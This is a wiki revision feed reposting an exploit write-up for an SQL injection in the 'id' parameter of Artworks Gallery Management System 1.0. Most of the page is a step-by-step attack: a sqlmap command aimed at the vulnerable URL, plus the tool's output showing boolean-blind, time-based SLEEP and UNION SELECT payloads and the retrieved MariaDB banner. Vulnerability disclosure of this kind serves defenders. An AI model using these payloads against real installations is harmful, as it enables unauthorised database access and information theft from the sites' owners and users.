<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Artworks_Gallery_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>Artworks Gallery Management System 1.0 SQL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Artworks_Gallery_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Artworks_Gallery_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-13T09:00:03Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Artworks_Gallery_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=3295&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Artworks Gallery Management System 1.0 - 'id' SQL Injection # Exploit Author: Vijay Sachdeva # Date: 2020-12-22 # Vendor Homepage: https://www.s...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Artworks_Gallery_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=3295&amp;oldid=prev"/>
		<updated>2021-05-26T13:10:26Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Artworks Gallery Management System 1.0 - &amp;#039;id&amp;#039; SQL Injection # Exploit Author: Vijay Sachdeva # Date: 2020-12-22 # Vendor Homepage: https://www.s...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Artworks Gallery Management System 1.0 - 'id' SQL Injection&lt;br /&gt;
# Exploit Author: Vijay Sachdeva&lt;br /&gt;
# Date: 2020-12-22&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com/php/14634/artworks-gallery-management-system-php-full-source-code.html&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/download-code?nid=14634&amp;amp;title=Artworks+Gallery+Management+System+in+PHP+with+Full+Source+Code&lt;br /&gt;
# Affected Version: Version 1&lt;br /&gt;
# Tested on Kali Linux&lt;br /&gt;
&lt;br /&gt;
Step 1. Log in to the application with admin credentials.&lt;br /&gt;
&lt;br /&gt;
Step 2. Click on &amp;quot;Explore&amp;quot; and then select &amp;quot;Artworks&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Step 3. Choose any item, the URL should be &amp;quot;&lt;br /&gt;
&lt;br /&gt;
http://localhost/art-bay/info_art.php?id=6&lt;br /&gt;
&lt;br /&gt;
Step 4. Run sqlmap on the URL where the &amp;quot;id&amp;quot; parameter is given&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sqlmap -u &amp;quot;http://192.168.1.240/art-bay/info_art.php?id=8&amp;quot; --banner&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Parameter: id (GET)&lt;br /&gt;
&lt;br /&gt;
    Type: boolean-based blind&lt;br /&gt;
&lt;br /&gt;
    Title: AND boolean-based blind - WHERE or HAVING clause&lt;br /&gt;
&lt;br /&gt;
    Payload: id=8 AND 4531=4531&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    Type: time-based blind&lt;br /&gt;
&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&lt;br /&gt;
&lt;br /&gt;
    Payload: id=8 AND (SELECT 7972 FROM (SELECT(SLEEP(5)))wPdG)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    Type: UNION query&lt;br /&gt;
&lt;br /&gt;
    Title: Generic UNION query (NULL) - 9 columns&lt;br /&gt;
&lt;br /&gt;
    Payload: id=8 UNION ALL SELECT&lt;br /&gt;
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b627171,0x63435455546f41476e584f4a66614e445968714d427647756f6f48796153686e756f66715875466c,0x716a6b6b71)--&lt;br /&gt;
-&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
[08:18:34] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
&lt;br /&gt;
[08:18:34] [INFO] fetching banner&lt;br /&gt;
&lt;br /&gt;
back-end DBMS: MySQL &amp;gt;= 5.0.12 (MariaDB fork)&lt;br /&gt;
&lt;br /&gt;
banner: '10.3.24-MariaDB-2'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Step 5. Sqlmap should inject the web-app successfully which leads to&lt;br /&gt;
information disclosure.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>